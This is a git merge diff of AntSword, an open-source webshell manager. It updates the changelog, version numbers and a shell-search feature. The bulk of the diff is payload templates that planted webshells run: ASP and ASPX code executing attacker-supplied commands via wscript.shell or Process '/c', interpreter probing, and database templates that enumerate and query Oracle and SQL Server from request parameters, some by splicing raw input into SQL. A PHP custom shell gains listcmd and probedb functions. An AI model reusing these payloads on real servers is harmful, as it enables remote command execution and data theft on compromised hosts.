Merge branch 'v2.0.x' into v2.1.x

CHANGELOG.md

@@ -2,27 +2,121 @@
 > 有空会补补BUG、添添新功能。    
 > 同时也欢迎大家的参与！感谢各位朋友的支持！ .TAT.
 
-## `v(2.0.6-dev)`
+## `v(2.0.7.1)`
+
+### 安全更新 (重要)
+
+* Fix toastr 输出时未过滤导致的 xss 漏洞, 由于在 webview 中开启了 nodejs 功能, 可借此引起 RCE #147 (thx @ev0A)
+
+> 为了防止插件中 toastr 出现类似问题, 修改了 toastr 可以输出 html 的特点，以后均不支持输出 html
+
+### 其它
+
+* 修正错别字 #145
+
+## 2019/04/08 `v(2.0.7)`
+
+### 核心
+
+* 执行命令新增 `antsystem` 函数, 具体见: https://github.com/AntSwordProject/ant_php_extension
+* Fix 编码器保存后不生效的问题 #135 (thx @K4ngx)
+* Fix core download 参数遗漏问题 #142 (thx @RoyTse)
+* Fix #141 (thx @RoyTse)
+
+### 虚拟终端
+
+* 新增自定义命令 `aslistcmd`, 列出可使用的命令解释器 (#123)
+
+![aslistcmd.png](https://i.loli.net/2019/04/05/5ca74815a01a4.png)
+![aslistcmd_win.png](https://i.loli.net/2019/04/05/5ca74819b276e.png)
+
+* 新增自定义命令 `aspowershell [on|off]`, 开启/关闭 PowerShell 模式
+
+> 如果`ascmd`命令指定的PowerShell解释器文件名中包函`powershell`关键字, 会自动启用 PowerShell 模式, 如下图:
+
+![aspowershell_default](https://i.loli.net/2019/04/05/5ca753673efe7.png)
+
+> 如果指定的 PowerShell 解释器文件名中不包含 `powershell` 关键字, 则需要手动使用该命令，启用 PowerShell 模式。如果关闭了 PowerShell 模式,则会执行出错，如下图:
+
+![aspowershell_switch](https://i.loli.net/2019/04/05/5ca75368d85fa.png)
+
+### 其它
+
+* 修复默认设置保存时导致 bookmarks 清空的问题
+* PHP Custom Shell 新增 listcmd 功能
+* PHP Custom Shell 新增数据库支持函数检查接口
+* 新增「繁體中文(香港)」和「繁體中文(台灣)」两种语言
+
+## 2019/03/20 `v(2.0.6)`
 
 ### 后端模块
 
 * 分块传输自动根据黑名单字符(eg: eval, assert, execute, response 等)进行随机切割(thx @phith0n)
 
-### 数据管理
+### 数据库管理
 
 * 新增「测试连接」功能
 * 新增「检测」功能, 检测支持的数据库函数(目前仅 PHP,ASP,ASPX 有效, ASP(X)仅检测使用到的组件是否存在)
-* 新增 php sqlsrv 连接方式, php5.3之后 mssql 默认不存在,可使用该类型连接 sqlserver >= 2008
+* 新增 php `sqlsrv` 连接方式, php5.3之后 mssql 默认不存在,可使用该类型连接 sqlserver >= 2008
 
 > 如果直连shell本地sqlserver, host 部分填 localhost 或者 (local)
+>
 > 如果连接外部,使用 ip,port
 
+* 新增 php `oracle_oci8` 连接方式, 用于连接 oracle 8i,9i,10g,11g,12c
+
+> host 部分填写: localhost/orcl 或者 localhost:1521/orcl
+>
+> 参考: http://php.net/manual/zh/function.oci-connect.php  connection_string 部分
+
+* 新增 PHP PostgreSQL 类型数据库操作
+* 新增 PHP PostgreSQL_PDO 类型数据库操作 #133 (thx @B0y1n4o4)
+* 优化 asp(x) Oracle 类型数据库操作
+* 优化 asp(x) SQLServer 类型数据库操作
 * 优化SQLServer类型数据库默认查询语句
 * php数据管理解析数据时自动猜解编码
 
+### 文件管理
+
+* 新增「在此处打开终端」功能, 打开终端后快速跳到当前目录下
+* 新增「全局书签」功能, 可在「系统设置-默认设置」单击鼠标右键添加
+
+![](https://i.loli.net/2019/03/13/5c891b279c26a.png)
+
+![](https://i.loli.net/2019/03/13/5c891b2cc1c30.png)
+
+### 数据管理
+
+* shell 配置页面提示不推荐使用 default、random 编码器, 明文传输 Payload 容易受到转义等影响，未来版本将会考虑移除
+* 新增「创建副本」菜单, 复制所选择的 Shell 并在相同分类下创建一个副本
+* 新增「搜索数据」功能, 搜索本地数据，范围为当前分类下的 Shell
+
+可选搜索字段： URL(URL地址), Password(密码), Remark(备注), All(在以上几个字段中出现)
+
+> 如果想搜索其它类型的字段, 可直接在类型框中输入想要搜索的字段
+>
+> 例如搜索 IP地址, 可在搜索字段选择框中输入: ip
+>
+> 具体字段类型名请直接查阅 antData/db.ant
+
+唤醒快捷键 Ctrl+Shift+F 或者 Command + Shift + F (OSX)
+
+退出:
+
+1) 点击搜索框之外的任何区域
+
+2) 按下 `ESC` 键
+
+3) 再次按下唤醒快捷键
+
+> 在使用快捷键时,如果当前活动 tab 不是数据管理，则会自动跳回数据管理
+
 ### 其它
 
+* 新增 「JSP Custom Shell For Oracle」
 * 新增 Decodes 自动猜解编码,在中文少量的情况下,成功率会降低
+* 系统托盘新增「重启应用」菜单
+* 虚拟终端打开后提示本地命令菜单 ashelp
 
 ### BugFix
 

README.md

-# AntSword [![release](https://img.shields.io/badge/release-v2.0.5.3-blue.svg?style=flat-square)][url-release]
+# AntSword [![release](https://img.shields.io/badge/release-v2.0.7-blue.svg?style=flat-square)][url-release]
 
 > AntSword in your hands, no worries in your mind！
 

README_CN.md

-# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.5.3-blue.svg?style=flat-square)][url-release]
+# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.7-blue.svg?style=flat-square)][url-release]
 
 > 一剑在手，纵横无忧！
 

modules/database.js

@@ -48,6 +48,27 @@ class Database {
       .on('shell-getPluginDataConf', this.getPluginDataConf.bind(this));
   }
 
+  convertOptstoNedbQuery(opts={}) {
+    var self = this;
+    if(opts instanceof Array) {
+      for (let i = 0; i < opts.length; i++) {
+        opts[i] = self.convertOptstoNedbQuery(opts[i]);
+      }
+    }else if(opts instanceof Object) {
+      Object.keys(opts).map((f) => {
+        if(opts[f] instanceof Object) {
+          opts[f] = self.convertOptstoNedbQuery(opts[f]);
+        }
+        if(f == "$regex") {
+          if(opts[f].charAt(0) == '*') {
+            opts[f] = opts[f].substring(1);
+          }
+          opts[f] = new RegExp(opts[f], 'i');
+        }
+      });
+    }
+    return opts;
+  }
   /**
    * 查询shell数据
    * @param  {Object} event ipcMain对象
@@ -55,6 +76,7 @@ class Database {
    * @return {[type]}       [description]
    */
   findShell(event, opts = {}) {
+    opts = this.convertOptstoNedbQuery(opts);
     logger.debug('findShell', opts);
     this.cursor
       .find(opts)

modules/menubar.js

@@ -109,6 +109,12 @@ class Menubar {
             label: LANG['edit']['paste'], accelerator: 'CmdOrCtrl+V', role: 'paste'
           }, {
             type: 'separator'
+          }, {
+            label: LANG['edit']['search'],
+            accelerator: 'Shift+CmdOrCtrl+F',
+            click: event.sender.send.bind(event.sender, 'menubar', 'shellmanager-search')
+          }, {
+            type: 'separator'
           }, {
             label: LANG['edit']['selectall'], accelerator: 'CmdOrCtrl+A', role: 'selectall'
           }
@@ -142,7 +148,7 @@ class Menubar {
               if (this.electron.BrowserWindow.getAllWindows().length > 1) {
                 return;
               }
-              this.mainWindow.webContents.reload();//.bind(this.mainWindow.webContents)
+              this.mainWindow.webContents.loadURL('ant-views://index.html');//.bind(this.mainWindow.webContents)
             }
           }, {
             label: LANG['debug']['devtools'],
@@ -185,6 +191,15 @@ class Menubar {
       }, {
         label: LANG['tray']['settings'],
         click: event.sender.send.bind(event.sender, 'menubar', 'settings')
+      }, {
+        label: LANG['debug']['restart'],
+        click: () => {
+          // 在有多个窗口的时候，不刷新
+          if (this.electron.BrowserWindow.getAllWindows().length > 1) {
+            return;
+          }
+          this.mainWindow.webContents.loadURL('ant-views://index.html');
+        }
       }, {
         label: LANG['tray']['about'],
         click: event.sender.send.bind(event.sender, 'menubar', 'settings-about')

package-lock.json

 {
   "name": "antsword",
-  "version": "2.0.5.3",
+  "version": "2.0.7.1",
   "lockfileVersion": 1,
   "requires": true,
   "dependencies": {

package.json

 {
   "name": "antsword",
-  "version": "2.0.5.3",
+  "version": "2.0.7.1",
   "description": "中国蚁剑是一款跨平台的开源网站管理工具",
   "main": "app.js",
   "dependencies": {

shells/php_custom_script_for_mysql.php

@@ -14,7 +14,7 @@
 * ———————————————————————————————————————————————
 *
 * 使用说明：
-*  1. AntSword >= v1.1-dev
+*  1. AntSword >= v2.0.7
 *  2. 创建 Shell 时选择 custom 模式连接
 *  3. 数据库连接：
 *    <H>localhost</H>
@@ -24,7 +24,11 @@
 *  4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致，如果选择 default 则需要将 encoder 值设置为空
 *
 * ChangeLog:
-*   Data: 2016/05/13 v1.1
+*   Date: 2019/04/05 v1.2
+*    1. 新增 listcmd 接口
+*    2. 新增数据库支持函数检查接口
+*
+*   Date: 2016/05/13 v1.1
 *    1. 执行 DML 语句，显示执行状态
 *
 *   Date: 2016/04/06 v1.0
@@ -336,6 +340,33 @@ function ExecuteCommandCode($cmdPath, $command){
     return ($ret!=0)?"ret={$ret}":"";
 }
 
+function probedb(){
+    $ret="";
+    $m=array(
+        'mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close',
+        'ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount',
+        'sybase_close'
+    );
+    foreach ($m as $f) {
+        $ret.=($f."\t".(function_exists($f)?'1':'0')."\n");
+    }
+    if(function_exists('pdo_drivers')){
+      foreach(@pdo_drivers() as $f){
+        $ret.=("pdo_".$f."\t1\n");
+      }
+    }
+    return $ret;
+}
+
+function listcmd($binarr){
+    $ret="";
+    $arr=@explode(",", $binarr);
+    foreach($arr as $v){
+        $ret.=($v."\t".(@file_exists($v)?"1":"0")."\n");
+    }
+    return $ret;
+}
+
 @ini_set("display_errors", "0");
 @set_time_limit(0);
 @set_magic_quotes_runtime(0);
@@ -402,6 +433,12 @@ try {
         case 'Q':
             $ret = query($z0, $z1, $z2);
             break;
+        case 'Y':
+            $ret = listcmd($z1);
+            break;
+        case 'Z':
+            $ret = probedb();
+            break;
         default:
             // $ret = "Wrong Password";
             break;

source/core/asp/template/command.js

@@ -8,5 +8,21 @@ module.exports = (arg1, arg2) => ({
       `Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
     [arg1]: "#{hex::bin}",
     [arg2]: "#{hex::cmd}"
+  },
+  listcmd: {
+    _:
+    `AA=Split(""&bd(Request("${arg1}"))&"",","):
+    Set FS=CreateObject("Scripting.FileSystemObject"):
+    For Each A in AA:
+        Response.Write(A&chr(9)):
+        If FS.FileExists(A) Then:
+          Response.Write("1"):
+        Else:
+          Response.Write("0"):
+        End If:
+        Response.Write(chr(10)):
+    Next
+    `.replace(/\n\s+/g, ''),
+    [arg1]: "#{hex::binarr}",
   }
 })

source/core/asp/template/database/oracle.js

@@ -6,27 +6,128 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
   // 显示所有数据库
   show_databases: {
     _:
-      `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
+      `Set Conn=Server.CreateObject("Adodb.connection"):
+      Dim SI:
+      Conn.Open bd(Request("${arg1}")):
+      If Err Then:
+        SI="ERROR:// "&Err.Description:
+        Err.Clear:
+      Else:
+        Set Rs=Conn.Execute("SELECT USERNAME FROM ALL_USERS ORDER BY 1"):
+        If Err Then:
+          SI="ERROR:// "&Err.Description:
+          Err.Clear:
+        Else:
+          Do While Not(Rs.Eof Or Rs.Bof):
+            SI=SI&Rs(0)&chr(9):
+            Rs.MoveNext:
+          Loop:
+        End If:
+        Set Rs=Nothing:
+        Conn.Close:
+      End If:
+      Set Conn=Nothing:
+      Response.Write(SI)`.replace(/\n\s+/g, ''),
     [arg1]: '#{hex::conn}'
   },
   // 显示数据库所有表
   show_tables: {
     _:
-      `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute("SELECT TABLE_NAME FROM ALL_TABLES"):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
-    [arg1]: '#{hex::conn}'
+      `Set Conn=Server.CreateObject("Adodb.connection"):
+      Dim SI:
+      Conn.Open ""&bd(Request("${arg1}"))&"":
+      If Err Then:
+        SI="ERROR:// "&Err.Description:
+        Err.Clear:
+      Else:
+        Set Rs=Conn.Execute("SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"&Request("${arg2}")&"' ORDER BY 1)"):
+        If Err Then:
+          SI="ERROR:// "&Err.Description:
+          Err.Clear:
+        Else:
+          Do While Not(Rs.Eof Or Rs.Bof):
+            SI=SI&Rs(0)&chr(9):
+            Rs.MoveNext:
+          Loop:
+        End If:
+        Set Rs=Nothing:
+        Conn.Close:
+      End If:
+      Set Conn=Nothing:
+      Response.Write(SI)`.replace(/\n\s+/g, ''),
+    [arg1]: '#{hex::conn}',
+    [arg2]: '#{dbname}'
   },
   // 显示表字段
   show_columns: {
     _:
-      `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
+      `Set Conn=Server.CreateObject("Adodb.connection"):
+      Dim SI:
+      Conn.Open ""&bd(Request("${arg1}"))&"":
+      If Err Then:
+        SI="ERROR:// "&Err.Description:
+        Err.Clear:
+      Else:
+        Set Rs=CreateObject("Adodb.Recordset"):
+        Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:
+        If Err Then:
+          SI="ERROR:// "&Err.Description:
+          Err.Clear:
+        Else:
+          Dim FN:
+          FN=Rs.Fields.Count-1:
+          Do While Not(Rs.Eof Or Rs.Bof):
+            Response.Write Rs(0)&" ("&Rs(1)&"("&Rs(2)&"))"&chr(9):
+            Rs.MoveNext:
+          Loop:
+          Rs.Close:
+        End If:
+        Set Rs=Nothing:
+        Conn.Close:
+      End If:
+      Set Conn=Nothing:
+      Response.Write(SI)`.replace(/\n\s+/g,''),
     [arg1]: '#{hex::conn}',
     [arg2]: '#{hex::table}'
   },
   // 执行SQL语句
   query: {
     _:
-      `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
+      `Set Conn=Server.CreateObject("Adodb.connection"):
+      Conn.Open ""&bd(Request("${arg1}"))&"":
+      Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):
+      RN=chr(13)&chr(10):
+      HD="Result"&CO&RN:
+      If Err Then:
+        Response.Write HD&Err.Description&CO&RN:
+        Err.Clear:
+      Else:
+        Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):
+        If Err Then:
+          Response.Write HD&Err.Number&":"&Err.Description&CO&RN:
+          Err.Clear:
+        Else:
+          Dim FN:
+          FN=Rs.Fields.Count-1:
+          For n=0 To FN:
+            Response.Write Rs.Fields.Item(n).Name&CO:
+          Next:
+          Response.Write RN:
+          Do While Not(Rs.Eof Or Rs.Bof):
+            For n=0 To FN:
+              Response.Write Rs(n):
+              Response.Write CO:
+            Next:
+            Response.Write RN:
+            Rs.MoveNext:
+          Loop:
+        End If:
+        Set Rs=Nothing:
+        Conn.Close:
+      End If:
+      Set Conn=Nothing:`.replace(/\n\s+/g, ''),
     [arg1]: '#{hex::conn}',
     [arg2]: '#{hex::sql}',
+    [arg3]: '#{dbname}'
   }
 })

source/core/asp/template/database/sqlserver.js

@@ -6,28 +6,130 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
   // 显示所有数据库
   show_databases: {
     _:
-      `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open "select [name] from master.dbo.sysdatabases order by 1",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
+      `Set Conn=Server.CreateObject("Adodb.connection"):
+      Dim SI:
+      Conn.Open bd(Request("${arg1}")):
+      If Err Then:
+        SI="ERROR:// "&Err.Description:
+        Err.Clear:
+      Else:
+        Set Rs=CreateObject("Adodb.Recordset"):
+        Rs.open "select [name] from master.dbo.sysdatabases order by 1",Conn,1,1:
+        If Err Then:
+          SI="ERROR:// "&Err.Description:
+          Err.Clear:
+        Else:
+          Do While Not(Rs.Eof Or Rs.Bof):
+            SI=SI&Rs(0)&chr(9):
+            Rs.MoveNext:
+          Loop:
+          Rs.Close:
+        End If:
+        Set Rs=Nothing:
+        Conn.Close:
+      End If:
+      Set Conn=Nothing:
+      Response.Write(SI):`.replace(/\n\s+/g, ''),
     [arg1]: '#{hex::conn}'
   },
   // 显示数据库所有表
   show_tables: {
     _:
-      `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute("USE ["&Request("${arg2}")&"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1"):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
+      `Set Conn=Server.CreateObject("Adodb.connection"):
+      Dim SI:
+      Conn.Open ""&bd(Request("${arg1}"))&"":
+      If Err Then:
+        SI="ERROR:// "&Err.Description:
+        Err.Clear:
+      Else:
+        Set Rs=Conn.Execute("USE ["&Request("${arg2}")&"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1"):
+        If Err Then:
+          SI="ERROR:// "&Err.Description:
+          Err.Clear:
+        Else:
+          Do While Not(Rs.Eof Or Rs.Bof):
+            SI=SI&Rs(0)&chr(9):
+            Rs.MoveNext:
+          Loop:
+        End If:
+        Set Rs=Nothing:
+        Conn.Close:
+      End If:
+      Set Conn=Nothing:
+      Response.Write(SI):`.replace(/\n\s+/g, ''),
     [arg1]: '#{hex::conn}',
     [arg2]: '#{dbname}'
   },
   // 显示表字段
   show_columns: {
     _:
-      `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
+      `Set Conn=Server.CreateObject("Adodb.connection"):
+      Dim SI:
+      Conn.Open ""&bd(Request("${arg1}"))&"":
+      If Err Then:
+        SI="ERROR:// "&Err.Description:
+        Err.Clear:
+      Else:
+        Set Rs=CreateObject("Adodb.Recordset"):
+        Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:
+        If Err Then:
+          SI="ERROR:// "&Err.Description:
+          Err.Clear:
+        Else:
+          For n=0 To Rs.Fields.Count-1:
+            SI=SI&Rs.Fields.Item(n).Name&chr(9):
+          Next:
+          Rs.Close:
+        End If:
+        Set Rs=Nothing:
+        Conn.Close:
+      End If:
+      Set Conn=Nothing:
+      Response.Write(SI):`.replace(/\n\s+/g, ''),
     [arg1]: '#{hex::conn}',
     [arg2]: '#{hex::table}'
   },
   // 执行SQL语句
   query: {
     _:
-      `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
+      `Set Conn=Server.CreateObject("Adodb.connection"):
+      Conn.Open ""&bd(Request("${arg1}"))&"":
+      Conn.DefaultDatabase=""&Request("${arg3}")&"":
+      Dim CO,HD,RN:
+      CO=chr(9)&chr(124)&chr(9):
+      RN=chr(13)&chr(10):
+      HD="Result"&CO&RN:
+      If Err Then:
+        Response.Write HD&Err.Description&CO&RN:
+        Err.Clear:
+      Else:
+        Set Rs=CreateObject("Adodb.Recordset"):
+        Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:
+        If Err Then:
+          Response.Write HD&Err.Number&":"&Err.Description&CO&RN:
+          Err.Clear:
+        Else:
+          Dim FN:
+          FN=Rs.Fields.Count-1:
+          For n=0 To FN:
+            Response.Write Rs.Fields.Item(n).Name&CO:
+          Next:
+          Response.Write RN:
+          Do While Not(Rs.Eof Or Rs.Bof):
+            For n=0 To FN:
+              Response.Write Rs(n):
+              Response.Write CO:
+            Next:
+            Response.Write RN:
+            Rs.MoveNext:
+          Loop:
+        End If:
+        Set Rs=Nothing:
+        Conn.Close:
+      End If:
+      Set Conn=Nothing:`.replace(/\n\s+/g, ''),
     [arg1]: '#{hex::conn}',
     [arg2]: '#{hex::sql}',
+    [arg3]: '#{dbname}'
   }
 })

source/core/aspx/template/command.js

@@ -8,5 +8,15 @@ module.exports = (arg1, arg2) => ({
       `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
     [arg1]: "#{base64::bin}",
     [arg2]: "#{base64::cmd}"
+  },
+  listcmd: {
+    _:
+      `var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
+      var ss=binarr.split(",");
+      var i;
+      for(var i in ss){
+        Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
+      }`.replace(/\n\s+/g, ''),
+    [arg1]: "#{base64::binarr}",
   }
 })

source/core/aspx/template/database/oracle.js

@@ -6,30 +6,87 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
   // 显示所有数据库
   show_databases: {
     _:
-      `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`,
+      `var Conn=new ActiveXObject("Adodb.connection");
+      Conn.ConnectionTimeout=10;
+      Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
+      var Rs=new ActiveXObject("ADODB.Recordset");
+      Rs.Open("SELECT USERNAME FROM ALL_USERS ORDER BY 1",Conn,1,1);
+      while(!Rs.EOF && !Rs.BOF){
+        Response.Write(Rs.Fields(0).Value+"\\t");
+        Rs.MoveNext();
+      }
+      Rs.Close();
+      Conn.Close();`.replace(/\n\s+/g, ''),
     // Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True;
     [arg1]: '#{base64::conn}'
   },
   // 显示数据库所有表
   show_tables: {
     _:
-      `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT TABLE_NAME FROM ALL_TABLES",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`,
-    [arg1]: '#{base64::conn}'
+      `var Conn=new ActiveXObject("Adodb.connection");
+      Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
+      Conn.ConnectionTimeout=10;
+      Conn.Open();
+      var Rs=new ActiveXObject("ADODB.Recordset");
+      Rs.Open("SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"+Request.Item["${arg2}"]+"' ORDER BY 1)",Conn,1,1);
+      while(!Rs.EOF && !Rs.BOF){
+        Response.Write(Rs.Fields(0).Value+"\\t");
+        Rs.MoveNext();
+      }
+      Rs.Close();
+      Conn.Close();`.replace(/\n\s+/g, ''),
+    [arg1]: '#{base64::conn}',
+    [arg2]: '#{dbname}'
   },
   // 显示表字段
   show_columns: {
     _:
-      `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
+      `var Conn=new ActiveXObject("Adodb.connection");
+      Conn.ConnectionTimeout=10;
+      Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
+      var Rs=new ActiveXObject("ADODB.Recordset");
